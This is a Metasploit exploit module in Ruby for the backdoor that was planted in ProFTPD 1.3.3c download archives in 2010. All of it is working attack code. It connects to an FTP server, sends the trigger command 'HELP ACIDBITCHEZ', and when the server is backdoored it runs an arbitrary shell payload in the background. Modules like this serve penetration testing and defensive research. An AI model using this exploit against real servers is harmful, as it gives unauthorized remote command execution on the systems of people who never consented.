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##
# $Id: proftpd_133c_backdoor.rb 11210 2010-12-02 22:33:37Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
archive between November 28th 2010 and 2nd December 2010.
},
'Author' => [ 'MC', 'darkharper2' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11210
,
'References' =>
[
[ 'BID', '45150' ],
[ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org' ],
],
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Dec 2 2010',
'DefaultTarget' => 0))
deregister_options('FTPUSER', 'FTPPASS')
end
def exploit
connect
print_status("Sending Backdoor Command")
sock.put("HELP ACIDBITCHEZ\r\n")
res = sock.get_once(-1,10)
if ( res and res =~ /502/ )
print_error("Not backdoored")
else
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
handler
end
disconnect
end
end
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